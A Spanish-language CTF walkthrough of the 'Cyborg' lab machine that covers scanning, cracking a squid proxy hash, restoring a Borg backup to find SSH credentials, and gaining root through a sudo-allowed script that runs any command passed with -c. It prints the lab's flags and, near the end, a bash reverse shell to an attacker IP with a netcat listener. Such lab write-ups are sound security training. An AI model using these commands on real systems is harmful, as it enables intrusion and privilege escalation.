Cyborg es un CTF con archivos encriptados, análisis de código fuente y más. Pone que su dificultad es fácil, veremos si es así.

Comenzamos con un escaneo, como siempre, con Rustscan:

nmap -sV -sT IP_Objetivo

¿Cuántos puertos hay abiertos?

2

¿Qué servicio corre en el 22?

ssh

¿Qué servicio corre en el 80?

http

Si echamos un vistazo a la web, vemos la página por defecto de Apache para Ubuntu, nada que reseñar al revisar el código fuente.

Vamos a escanear posibles directorios con:

gobuster dir -u IP_Objetivo -w /usr/share/wordlists/dirb/common.txt

Aparecen los directorios /etc y /admin que visitamos.

Dentro de /etc hay una carpeta squid y al revisar hay unas credenciales:

music_archive:$apr1$BpZ.Q.1m$F0qqPwHSOG50URuOVQTTn.

John rompe enseguida el hash y la contraseña parece ser squidward. No nos sirven para conectar por ssh ni con el usuario alex ni con music_archive.

También hay un archivo squid.conf

auth_param basic program /usr/lib64/squid/basic_ncsa_auth /etc/squid/passwd
auth_param basic children 5
auth_param basic realm Squid Basic Authentication
auth_param basic credentialsttl 2 hours
acl auth_users proxy_auth REQUIRED
http_access allow auth_users

En /admin hay una web de un tal Alex y dentro de la sección Admins hay una especie de chat. Habla de que la ha liado con squid proxy y que aparte de eso, la copia de seguridad de music_archive está a salvo.

También te puedes descargar un archivo de la web comprimido en tar. Lo hago y lo descomprimo a ver qué hay.

Es una copia de seguridad hecha con Borg. El respositorio está en el directorio final_archive, que es donde está el archivo config.

A ver qué nos dice cuando tratamos de recuperarla.

sudo apt install borgbackup # Instalo Borg Backup y leo un poco
borg list ./final_archive # Examino qué archivos contiene la copia desde el directorio superior a final_archive, me dice que hay uno llamado music_archive y me pide una contraseña, squidward funciona
borg extract ./final_archive::music_archive # Extraigo el archivo

Parece que es una copia del directorio home del usuario alex en el servidor. Voy examinando y en Documents hay un note.txt con sus credenciales.

alex:S3cretP@s3

Las usamos para entrar por ssh

ssh alex@IP_Objetivo

En el directorio en el que aterrizo está la primera bandera de usuario.

flag{1_hop3_y0u_ke3p_th3_arch1v3s_saf3}

Es hora de escalar privilegios y la pista dice que un archivo extraño está siendo ejecutado como administrador.

Ejecuto:

sudo -l

Me dice que puedo ejecutar /etc/mp3backups/backup.sh como root sin contraseña.

Examino el archivo, no lo puedo modificar, pero veo que hay una parte curiosa:

while getopts c: flag
do
        case "${flag}" in 
                c) command=${OPTARG};;
        esac
done

El archivo coge un parámetro de la línea de comandos que pongamos tras el script con -c y lo ejecuta.

Así que, si hago:

sudo /etc/mp3backups/backup.sh -c /bin/bash

Obtengo consola de administrador y la bandera. Pero la consola no saca por pantalla el resultado de las instrucciones hasta que ejecuto exit, que de esa manera cutre puedo leer la bandera, haciendo:

cat /root/root.txt
exit # Para que me muestre el resultado

flag{Than5s_f0r_play1ng_H0p£_y0u_enJ053d}

Una manera de arreglarlo es crear un archivo en el directorio /home/alex/Documents, por ejemplo, que contenga una instrucción de shell inversa, como por ejemplo:

bash -i >& /dev/tcp/IP_Ataque/4000 0>&1

Lo convierto en ejecutable (chmod +x) y ahora, en mi máquina de ataque, creo un escuchador de Netcat en el puerto 4000 que he configurado en la instrucción anterior.

nc -lvnp 4000

Y ejecuto el archivo pasando como parámetro -c el archivo que acabo de crear:

sudo /etc/mp3backups/backup.sh -c /home/alex/Documents/shell

Y en Netcat ya tengo una consola decente de administrador.